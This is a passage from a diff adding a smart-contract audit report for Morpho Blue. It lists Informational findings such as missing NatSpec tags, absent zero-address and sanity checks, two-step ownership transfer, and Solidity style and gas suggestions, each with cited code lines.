+ - Numerous functions such as `isIrmEnabled`, `isLltvEnabled`, `isAuthorized`, `nonce`, and others are missing `@param` tags for their parameters [Lines 68, 71, 75, 78, 83, 87, 91, 95, 101, 128, 145, 166, 189, 210, 226, 236, 252, 275, 286, 289, 298, 308, 323, 337, 344, 349](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L68-L349).
+4. **File: `src/interfaces/IMorphoCallbacks.sol`**
+ - The `onMorphoLiquidate` function lacks `@param` for `repaidAssets` [Line 11](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L11).
+5. **File: `src/libraries/MarketParamsLib.sol`**
+ - Function `id` missing `@param` tag [Line 16](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L16).
+6. **File: `src/libraries/MathLib.sol`**
+ - Functions like `wMulDown`, `wDivDown`, `wDivUp`, `mulDivDown`, `mulDivUp`, and `wTaylorCompounded` lack `@param` tags [Lines 12, 17, 22, 27, 32, 38](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L12-L38).
+7. **File: `src/libraries/SafeTransferLib.sol`**
+ - Functions `transfer`, `transferFrom`, `safeTransfer`, and `safeTransferFrom` missing `@param` tags [Lines 9-10, 21, 29](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L9-L29).
+8. **File: `src/libraries/SharesMathLib.sol`**
+ - Functions `toSharesDown`, `toAssetsDown`, `toSharesUp`, and `toAssetsUp` lack `@param` tags [Lines 24, 29, 34, 39](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L24-L39).
+9. **File: `src/libraries/UtilsLib.sol`**
+ - Functions `exactlyOneZero`, `min`, `toUint128`, and `zeroFloorSub` missing `@param` tags [Lines 13, 20, 27, 33](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L13-L37)
+
+**Instances of missing `@return` tags in NatSpec comments across various files in the Morpho project:**
+
+1. **File: `src/Morpho.sol`**
+ - Functions like `supply`, `withdraw`, `borrow`, `repay`, `liquidate`, `_isSenderAuthorized`, `_isHealthy`, and `extSloads` lack `@return` tags for their parameters [Lines 166-530](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L530).
+2. **File: `src/interfaces/IIrm.sol`**
+ - Functions `borrowRate` and `borrowRateView` missing `@return` tags [Lines 13, 17](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IIrm.sol#L13-L17).
+3. **File: `src/interfaces/IMorpho.sol`**
+ - Multiple functions such as `DOMAIN_SEPARATOR`, `owner`, `feeRecipient`, `isIrmEnabled`, `isLltvEnabled`, `isAuthorized`, `nonce`, `supply`, `withdraw`, `borrow`, `repay`, `extSloads`, `position`, `market`, `idToMarketParams` are missing `@return` tags [Lines 55-349](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L55-L349).
+4. **File: `src/interfaces/IOracle.sol`**
+ - Function `price` lacks `@return` tag [Line 14](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IOracle.sol#L14).
+5. **File: `src/libraries/MarketParamsLib.sol`**
+ - Function `id` missing `@return` tag [Line 16](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L16).
+6. **File: `src/libraries/MathLib.sol`**
+ - Functions like `wMulDown`, `wDivDown`, `wDivUp`, `mulDivDown`, `mulDivUp`, and `wTaylorCompounded` lack `@return` tags [Lines 12-38](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L12-L38).
+7. **File: `src/libraries/SafeTransferLib.sol`**
+ - Functions `transfer` and `transferFrom` missing `@return` tags [Lines 9-10](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L9-L10).
+8. **File: `src/libraries/SharesMathLib.sol`**
+ - Functions `toSharesDown`, `toAssetsDown`, `toSharesUp`, and `toAssetsUp` lack `@return` tags [Lines 24-39](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L24-L39).
+9. **File: `src/libraries/UtilsLib.sol`**
+ - Functions `exactlyOneZero`, `min`, `toUint128`, and `zeroFloorSub` missing `@return` tags [Lines 13-33](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L13-L33).
+10. **File: `src/libraries/periphery/MorphoBalancesLib.sol`**
+ - Functions like `expectedTotalSupplyAssets`, `expectedTotalBorrowAssets`, `expectedTotalSupplyShares`, `expectedSupplyAssets`, and `expectedBorrowAssets` lack `@return` tags [Lines 65-120](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L65-L120)
+
+**Instances of missing NatSpec comments across various files in the Morpho project:**
+
+1. **File: `src/libraries/SafeTransferLib.sol`**
+ - Functions `transfer` and `transferFrom` [Lines 9-10](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L9-L10).
+2. **File: `src/libraries/periphery/MorphoLib.sol`**
+ - Various functions including `supplyShares`, `borrowShares`, `collateral`, `totalSupplyAssets`, `totalSupplyShares`, `totalBorrowAssets`, `totalBorrowShares`, `lastUpdate`, `fee`, and a private function `_array` [Lines 13-62](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L13-L62).
+3. **File: `src/libraries/periphery/MorphoStorageLib.sol`**
+ - Functions for various contract parameters like `ownerSlot`, `feeRecipientSlot`, `positionSupplySharesSlot`, `positionBorrowSharesAndCollateralSlot`, `marketTotalSupplyAssetsAndSharesSlot`, `marketTotalBorrowAssetsAndSharesSlot`, `marketLastUpdateAndFeeSlot`, and others [Lines 41-108](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L41-L108).
+
+These instances highlight areas where `@notice` tags are missing in the NatSpec comments, which are crucial for clear and effective documentation of the Solidity code.
+
+- Recommended Mitigation Steps
+- **Add `@notice` Tags:**
+- **Add `@param` Tags:**
+- **Add `@return` Tags:**
+- **Add NatSpec Description**
+
+
+
+### Protocol incentivize equal rewards for liquidating large and small positions.
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**
+According to the [doc](https://morpho-labs.notion.site/Morpho-Blue-Documentation-Hub-External-00ff8194791045deb522821be46abbdc)
+>The Liquidation Incentive (LI) depends on the LLTV of the market, according to the following formula: $LI = min(M, \frac{1}{\beta*LLTV+(1-\beta)} -1)$, with $\beta = 0.3$ and $M= 0.20$ (parameters are still being refined, but this is the order of magnitude).
+
+Liquidation incentive is dependent upon LLTV only which is predefined. If collateral amount is large, liquidators still will get same incentive as lower collateral liquidation.
+
+Protocol should motivate liquidators for large unhealthy positions by providing different reward than small positions.
+
+**Recommendation**
+Better Liquidation Incentive (LI) formula should be used to calculate the incentive.
+
+
+
+### Setting Of A New Owner Should Be A Two Step Process
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The setOwner() function in Morpho.sol https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L95 is used to transfer ownership to a new address and only the current owner can call this ,
+If the ownership is transferred to a new address which is mistakenly wrong then ownership is lost forever.
+
+Recommendation:
+It is recommended to make this a 2 step process.
+
+
+
+### Sanity Check In setAuthorization
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Throughout the morpho codebase there exists sanity checks specially in update functions , for example -
+```
+function setFeeRecipient(address newFeeRecipient) external onlyOwner {
+ if (newFeeRecipient == feeRecipient) revert ErrorsLib.AlreadySet();
+```
+
+Similarly , there should be a sanity check here https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L429 to check if `isAuthorized[msg.sender][authorized]` is already set to `newAuthorized`
+
+```
+function setAuthorization(address authorized, bool newIsAuthorized) external {
+ if( isAuthorized[msg.sender][authorized] == newIsAuthorized ) revert ErrorsLib.AlreadySet();
+ isAuthorized[msg.sender][authorized] = newIsAuthorized;
+
+ emit EventsLib.SetAuthorization(msg.sender, msg.sender, authorized, newIsAuthorized);
+ }
+```
+
+
+
+### Missing zero address check in functions with address parameters
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Adding a zero address check for each address type parameter can prevent errors.
+
+*Instances (8)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit Not checked newFeeRecipient
+139: function setFeeRecipient(address newFeeRecipient) external onlyOwner
+
+/// @audit Not checked borrower
+344: function liquidate(
+345: MarketParams memory marketParams,
+346: address borrower,
+347: uint256 seizedAssets,
+348: uint256 repaidShares,
+349: bytes calldata data
+350: ) external returns (uint256, uint256) {
+
+/// @audit Not checked token
+415: function flashLoan(address token, uint256 assets, bytes calldata data) external {
+
+/// @audit Not checked authorized
+428: function setAuthorization(address authorized, bool newIsAuthorized) external {
+
+```
+
+[139](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L139), [344-350](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L350), [415](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L415), [428](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L428)
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+/// @audit Not checked to
+21: function safeTransfer(IERC20 token, address to, uint256 value) internal {
+
+/// @audit Not checked from, to
+29: function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
+
+```
+
+[21](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L21), [29](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L29)
+
+
+
+
+### `assembly` blocks should have extensive comments
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Assembly blocks are take a lot more time to audit than normal Solidity code, and often have gotchas and side-effects that the Solidity versions of the same code do not. Consider adding more comments explaining what is being done in every step of the assembly code
+
+*Instances (5)*:
+
+```solidity
+File: src/Morpho.sol
+
+538: assembly ("memory-safe") {
+539: mstore(add(res, mul(i, 32)), sload(slot))
+540: }
+
+```
+
+[538-540](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L538-L540)
+
+```solidity
+File: src/libraries/MarketParamsLib.sol
+
+17: assembly ("memory-safe") {
+18: marketParamsId := keccak256(marketParams, MARKET_PARAMS_BYTES_LENGTH)
+19: }
+
+```
+
+[17-19](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L17-L19)
+
+```solidity
+File: src/libraries/UtilsLib.sol
+
+14: assembly {
+15: z := xor(iszero(x), iszero(y))
+16: }
+
+21: assembly {
+22: z := xor(x, mul(xor(x, y), lt(y, x)))
+23: }
+
+34: assembly {
+35: z := mul(gt(x, y), sub(x, y))
+36: }
+
+```
+
+[14-16](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L14-L16), [21-23](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L21-L23), [34-36](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L34-L36)
+
+
+
+
+### Consider using `delete` rather than assigning zero to clear values
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The `delete` keyword more closely matches the semantics of what is being done, and draws more attention to the changing of state, which may lead to a more thorough audit of its associated logic.
+
+*Instances (1)*:
+
+```solidity
+File: src/Morpho.sol
+
+397: position[id][borrower].borrowShares = 0;
+
+```
+
+[397](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L397)
+
+
+
+### Consider using named mappings
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Consider moving to solidity version 0.8.18 or later, and using [named mappings](https://ethereum.stackexchange.com/a/145555) to make it easier to understand the purpose of each mapping
+
+*Instances (9)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+58: mapping(Id => mapping(address => Position)) public position;
+
+58: mapping(Id => mapping(address => Position)) public position;
+
+60: mapping(Id => Market) public market;
+
+62: mapping(address => bool) public isIrmEnabled;
+
+64: mapping(uint256 => bool) public isLltvEnabled;
+
+66: mapping(address => mapping(address => bool)) public isAuthorized;
+
+66: mapping(address => mapping(address => bool)) public isAuthorized;
+
+68: mapping(address => uint256) public nonce;
+
+70: mapping(Id => MarketParams) public idToMarketParams;
+
+```
+
+[58](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L58), [58](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L58), [60](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L60), [62](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L62), [64](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L64), [66](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L66), [66](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L66), [68](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L68), [70](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L70)
+
+
+
+
+### Constants in comparisons should appear on the left side
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Doing so will prevent [typo bugs](https://www.moserware.com/2008/01/constants-on-left-are-better-but-this.html).
+
+*Instances (30)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit != 0
+125: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+/// @audit == 0
+154: require(market[id].lastUpdate == 0, ErrorsLib.MARKET_ALREADY_CREATED);
+
+/// @audit != 0
+174: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+/// @audit > 0
+180: if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+/// @audit > 0
+189: if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+/// @audit != 0
+205: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+/// @audit > 0
+213: if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+/// @audit != 0
+240: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+/// @audit > 0
+248: if (assets > 0) shares = assets.toSharesUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+/// @audit != 0
+274: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+/// @audit > 0
+280: if (assets > 0) shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+/// @audit > 0
+290: if (data.length > 0) IMorphoRepayCallback(msg.sender).onMorphoRepay(assets, data);
+
+/// @audit != 0
+304: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+/// @audit != 0
+305: require(assets != 0, ErrorsLib.ZERO_ASSETS);
+
+/// @audit > 0
+314: if (data.length > 0) IMorphoSupplyCollateralCallback(msg.sender).onMorphoSupplyCollateral(assets, data);
+
+/// @audit != 0
+324: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+/// @audit != 0
+325: require(assets != 0, ErrorsLib.ZERO_ASSETS);
+
+/// @audit != 0
+352: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+/// @audit > 0
+369: if (seizedAssets > 0) {
+
+/// @audit == 0
+387: if (position[id][borrower].collateral == 0) {
+
+/// @audit > 0
+405: if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+/// @audit != 0
+464: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+/// @audit == 0
+474: if (elapsed == 0) return;
+
+/// @audit != 0
+482: if (market[id].fee != 0) {
+
+/// @audit == 0
+502: if (position[id][borrower].borrowShares == 0) return true;
+
+```
+
+[125](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L125), [154](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L154), [174](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L174), [180](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L180), [189](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L189), [205](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L205), [213](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L213), [240](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L240), [248](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L248), [274](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L274), [280](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L280), [290](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L290), [304](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L304), [305](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L305), [314](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L314), [324](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L324), [325](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L325), [352](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L352), [369](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L369), [387](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L387), [405](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L405), [464](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L464), [474](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L474), [482](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L482), [502](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L502)
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+/// @audit == 0
+25: require(returndata.length == 0 || abi.decode(returndata, (bool)), ErrorsLib.TRANSFER_RETURNED_FALSE);
+
+/// @audit == 0
+33: require(returndata.length == 0 || abi.decode(returndata, (bool)), ErrorsLib.TRANSFER_FROM_RETURNED_FALSE);
+
+```
+
+[25](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L25), [33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L33)
+
+```solidity
+File: src/libraries/periphery/MorphoBalancesLib.sol
+
+/// @audit != 0
+45: if (elapsed != 0 && market.totalBorrowAssets != 0) {
+
+/// @audit != 0
+45: if (elapsed != 0 && market.totalBorrowAssets != 0) {
+
+/// @audit != 0
+51: if (market.fee != 0) {
+
+```
+
+[45](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L45), [45](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L45), [51](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L51)
+
+
+
+
+### Control structures do not follow the Solidity Style Guide
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+See the [control structures](https://docs.soliditylang.org/en/latest/style-guide.html#control-structures) section of the Solidity Style Guide
+
+*Instances (14)*:
+
+see instances
+
+
+```solidity
+File: src/Morpho.sol
+
+180: if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+181: else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+181: else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+182:
+
+189: if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+190:
+
+213: if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+214: else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+214: else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+215:
+
+248: if (assets > 0) shares = assets.toSharesUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+249: else assets = shares.toAssetsDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+249: else assets = shares.toAssetsDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+250:
+
+280: if (assets > 0) shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+281: else assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+281: else assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+282:
+
+290: if (data.length > 0) IMorphoRepayCallback(msg.sender).onMorphoRepay(assets, data);
+291:
+
+314: if (data.length > 0) IMorphoSupplyCollateralCallback(msg.sender).onMorphoSupplyCollateral(assets, data);
+315:
+
+405: if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+406:
+
+474: if (elapsed == 0) return;
+475:
+
+502: if (position[id][borrower].borrowShares == 0) return true;
+503:
+
+```
+[180-181](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L180-L181), [181-182](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L181-L182), [189-190](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L189-L190), [213-214](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L213-L214), [214-215](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L214-L215), [248-249](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L248-L249), [249-250](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L249-L250), [280-281](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L280-L281), [281-282](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L281-L282), [290-291](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L290-L291), [314-315](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L314-L315), [405-406](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L405-L406), [474-475](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L474-L475), [502-503](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L502-L503)
+
+
+
+### Do not calculate constants
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Due to how constant variables are implemented (replacements at compile-time), an expression assigned to a constant variable is recomputed each time that the variable is used, which wastes some gas.
+
+*Instances (1)*:
+
+```solidity
+File: src/libraries/MarketParamsLib.sol
+
+13: uint256 internal constant MARKET_PARAMS_BYTES_LENGTH = 5 * 32;
+
+```
+
+[13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L13)
+
+
+
+### Empty `bytes` check is missing
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+When developing smart contracts in Solidity, it's crucial to validate the inputs of your functions. This includes ensuring that the bytes parameters are not empty, especially when they represent crucial data such as addresses, identifiers, or raw data that the contract needs to process.
+ Missing empty bytes checks can lead to unexpected behaviour in your contract. For instance, certain operations might fail, produce incorrect results, or consume unnecessary gas when performed with empty bytes. Moreover, missing input validation can potentially expose your contract to malicious activity, including exploitation of unhandled edge cases.
+ To mitigate these issues, always validate that bytes parameters are not empty when the logic of your contract requires it.
+
+*Instances (6)*:
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit data
+166: function supply(
+167: MarketParams memory marketParams,
+168: uint256 assets,
+169: uint256 shares,
+170: address onBehalf,
+171: bytes calldata data
+172: ) external returns (uint256, uint256) {
+
+/// @audit data
+266: function repay(
+267: MarketParams memory marketParams,
+268: uint256 assets,
+269: uint256 shares,
+270: address onBehalf,
+271: bytes calldata data
+272: ) external returns (uint256, uint256) {
+
+/// @audit data
+300: function supplyCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, bytes calldata data)
+301: external
+302: {
+
+/// @audit data
+344: function liquidate(
+345: MarketParams memory marketParams,
+346: address borrower,
+347: uint256 seizedAssets,
+348: uint256 repaidShares,
+349: bytes calldata data
+350: ) external returns (uint256, uint256) {
+
+/// @audit data
+415: function flashLoan(address token, uint256 assets, bytes calldata data) external {
+
+```
+
+[166-172](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L172), [266-272](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L266-L272), [300-302](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300-L302), [344-350](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L350), [415](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L415)
+
+```solidity
+File: src/libraries/periphery/MorphoLib.sol
+
+/// @audit x
+58: function _array(bytes32 x) private pure returns (bytes32[] memory) {
+
+```
+
